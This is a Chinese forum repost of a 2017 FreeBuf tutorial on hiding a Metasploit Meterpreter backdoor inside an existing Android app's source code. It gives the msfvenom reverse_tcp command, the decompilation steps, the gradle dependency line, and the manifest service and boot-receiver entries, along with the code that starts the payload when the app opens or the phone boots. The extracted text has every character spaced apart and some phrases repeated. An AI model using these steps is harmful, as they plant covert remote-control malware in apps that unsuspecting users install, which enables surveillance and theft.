搜索

[10947] 2017-01-19_添加Metasploit-payload到已有的Android项目中

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2017-01-19_添加Metasploit-payload到已有的Android项目中 添 加 M e t a s p l o i t - p a y l o a d 到 已 有 的 A n d r o i d 项 目 中 x i a o h u a n s h u   F r e e B u f   2 0 1 7 - 0 1 - 1 9 * 本 文 原 创 作 者 ： x i a o h u a n s h u ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载                 m e t a s p l o i t 在 写 这 篇 文 章 之 前 ， 笔 者 可 以 说 是 对 在 写 这 篇 文 章 之 前 ， 笔 者 可 以 说 是 对 j a v a 一 窍 不 通 ， 也 从 来 没 有 写 过 什 么 一 窍 不 通 ， 也 从 来 没 有 写 过 什 么 A n d r o i d 应 用 ， 在 几 天 的 摸 爬 滚 打 中 终 于 应 用 ， 在 几 天 的 摸 爬 滚 打 中 终 于 实 现 了 最 终 的 目 的 ， 就 是 在 已 有 实 现 了 最 终 的 目 的 ， 就 是 在 已 有 A p k 源 码 的 情 况 下 ， 用 了 比 较 另 类 的 方 式 ， 添 加 源 码 的 情 况 下 ， 用 了 比 较 另 类 的 方 式 ， 添 加 m e t a s p l o i t 后 门 。 后 门 。 同 时 支 持 j a v a / s c a l a 两 种 语 言 写 的 项 目 ， 主 要 是 为 了 给 大 家 提 供 一 些 思 路 ， 如 果 哪 里 写 的 不 准 确 ， 欢 迎 指 正 。 可 能 有 人 说 ， 目 前 已 经 有 各 种 各 样 的 工 具 ， 比 如 b a c k d o o r - a p k 能 够 感 染 已 编 译 好 的 A p k 文 件 ， 但 是 经 过 笔 者 的 测 试 ， 这 种 被 感 染 后 的 文 件 使 用 起 来 不 是 很 稳 定 ， 而 且 a p k t o o l 本 身 有 缺 陷 ， 导 致 很 多 a p k 反 编 译 后 无 法 重 新 编 译 。 所 以 ， 既 然 有 源 码 ， 为 何 要 生 成 a p k 后 再 注 入 后 门 ？ p a y l o a d 分 析 分 析 首 先 使 用 m s f v e n o m 生 成 一 个 p a y l o a d : m s f v e n o m   - p   a n d r o i d / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 1 2 7 . 0 . 0 . 1   L P O R T = 4 4 4 4   R   >   p a y l o a d . a p k 使 用 a p k t o o l 与 d e x 2 j a r 反 编 译 : a p k t o o l   d   p a y l o a d . a p k d 2 j - d e x 2 j a r   p a y l o a d . a p k 最 后 用 j d - g u i 打 开 d 2 j - d e x 2 j a r 生 成 出 的 p a y l o a d - d e x 2 j a r . j a r 结 合 A n d r o i d M a n i f e s t . x m l 分 析 源 码 后 发 现 ， P a y l o a d 的 服 务 为 c o m . m e t a s p l o i t . s t a g e . M a i n S e r v i c e 。 启 动 服 务 的 方 式 有 两 种 ， 一 个 是 主 A c t i v i t y ( a n d r o i d . i n t e n t . a c t i o n . M A I N ) ， 也 就 是 点 击 程 序 图 标 后 运 行 的 A c t i v i t y ， 另 一 个 是 接 收 a n d r o i d . i n t e n t . a c t i o n . B O O T _ C O M P L E T E D ， 也 就 是 开 机 自 动 启 动 服 务 。
启 动 服 务 的 代 码 为 M a i n S e r v i c e . s t a r t S e r v i c e ( c o n t e x t ) ; 也 就 是 说 ， 只 要 把 启 动 服 务 的 代 码 添 加 到 项 目 源 码 中 的 相 应 位 置 ， 就 可 以 实 现 添 加 后 门 。 笔 者 首 先 想 将 反 编 译 后 的 j a v a 源 码 直 接 添 加 到 项 目 中 ， 但 无 奈 编 译 不 成 功 ， 在 网 上 查 找 相 关 资 料 后 发 现 ， j d - g u i 反 编 译 的 j a r 文 件 本 身 就 有 问 题 ， 只 能 做 参 考 。 如 果 直 接 用 g i t h u b 上 p a y l o a d 的 源 码 ， 又 不 知 道 P a y l o a d 的 配 置 串 是 如 何 加 密 的 。 最 后 突 然 想 到 ， 既 然 d e x 2 j a r 已 经 将 p a y l o a d 转 换 为 了 j a r 文 件 ， 那 直 接 将 j a r 作 为 依 赖 包 导 入 到 工 程 中 不 就 行 了 。
导 入 导 入 j a r 包 包 A n d r o i d   S t u d i o 拷 贝 p a y l o a d - d e x 2 j a r . j a r 到 a p p / l i b s 目 录 下 打 开 a p p 目 录 下 的 b u i l d . g r a d l e ， 在 d e p e n d e n c i e s 中 添 加 c o m p i l e   f i l e s ( ‘ l i b s / p a y l o a d - d e x 2 j a r . j a r ‘ ) S b t / s c a l a 拷 贝 p a y l o a d - d e x 2 j a r . j a r 到 l i b 目 录 下 修 改 修 改 A n d r o i d M a n i f e s t . x m l 选 择 性 添 加 添 加 以 下 权 限 选 择 性 添 加 添 加 以 下 权 限 可 以 根 据 需 要 ， 选 择 性 的 添 加 所 需 要 的 权 限
添 加 服 务 添 加 服 务 < s e r v i c e   a n d r o i d : n a m e = " c o m . m e t a s p l o i t . s t a g e . M a i n S e r v i c e "   a n d r o i d : e x p o r t e d = " t r u e "   / > 添 加 开 机 启 动 添 加 开 机 启 动 如 果 需 要 添 加 开 机 启 动 ， 则 必 须 添 加 a n d r o i d . p e r m i s s i o n . R E C E I V E _ B O O T _ C O M P L E T E D 权 限 。 < r e c e i v e r             a n d r o i d : n a m e = " c o m . m e t a s p l o i t . s t a g e . M a i n B r o a d c a s t R e c e i v e r "             a n d r o i d : l a b e l = " M a i n B r o a d c a s t R e c e i v e r " >             < i n t e n t - f i l t e r >                     < a c t i o n   a n d r o i d : n a m e = " a n d r o i d . i n t e n t . a c t i o n . B O O T _ C O M P L E T E D "   / >             < / i n t e n t - f i l t e r > < / r e c e i v e r > 修 改 源 码 ， 启 动 服 务 修 改 源 码 ， 启 动 服 务 j a v a 与 s c a l a 相 同 ， 定 位 到 M a i n   A c t i v i t y 所 在 的 文 件 中 ， 添 加 i m p o r t i m p o r t   c o m . m e t a s p l o i t . s t a g e . M a i n S e r v i c e ; 在 A c t i v i t y 的 o n C r e a t e 方 法 中 ， 添 加 M a i n S e r v i c e . s t a r t S e r v i c e ( t h i s ) ;
编 译 、 签 名 、 测 试 编 译 、 签 名 、 测 试 编 译 与 签 名 的 环 节 就 略 过 了 ， 最 终 的 测 试 结 果 非 常 满 意 ， 无 论 是 打 开 程 序 运 行 与 开 机 自 动 运 行 都 成 功 ， 并 且 连 接 很 稳 定 。 后 记 后 记 通 过 导 入 j a r 包 的 方 式 添 加 后 门 也 算 是 另 类 的 方 式 了 吧 ， 不 过 也 算 很 方 便 了 ， j a r 包 只 要 生 成 一 次 ， 就 可 以 当 做 一 个 依 赖 包 添 加 到 所 有 A n d r o i d 项 目 中 。 当 然 一 定 还 有 更 好 的 方 法 ， 本 文 只 是 提 供 一 个 思 路 。 同 时 提 醒 大 家 留 意 来 路 不 明 的 A p k 文 件 ， 防 止 被 安 装 后 门 ， 信 息 安 全 不 容 小 视 。 * 本 文 原 创 作 者 ： x i a o h u a n s h u ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载        
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理